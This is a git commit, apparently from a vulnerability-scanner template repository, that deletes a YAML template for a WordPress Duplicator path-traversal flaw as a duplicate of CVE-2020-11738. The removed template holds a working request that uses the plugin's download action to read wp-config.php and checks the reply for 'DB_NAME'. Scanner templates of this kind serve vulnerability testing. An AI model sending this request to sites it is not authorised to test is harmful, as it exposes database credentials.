Removing as this is same as cve-2020-11738
parent
7a1c7f63b7
commit
fb3b2551df
|
@ -1,16 +0,0 @@
|
||||||
id: wp-duplicator-lfi
|
|
||||||
|
|
||||||
info:
|
|
||||||
name: WordPress duplicator Path Traversal
|
|
||||||
author: madrobot
|
|
||||||
severity: high
|
|
||||||
|
|
||||||
requests:
|
|
||||||
- method: GET
|
|
||||||
path:
|
|
||||||
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=/../wp-config.php"
|
|
||||||
matchers:
|
|
||||||
- type: word
|
|
||||||
words:
|
|
||||||
- "DB_NAME"
|
|
||||||
part: body
|
|
Loading…
Reference in New Issue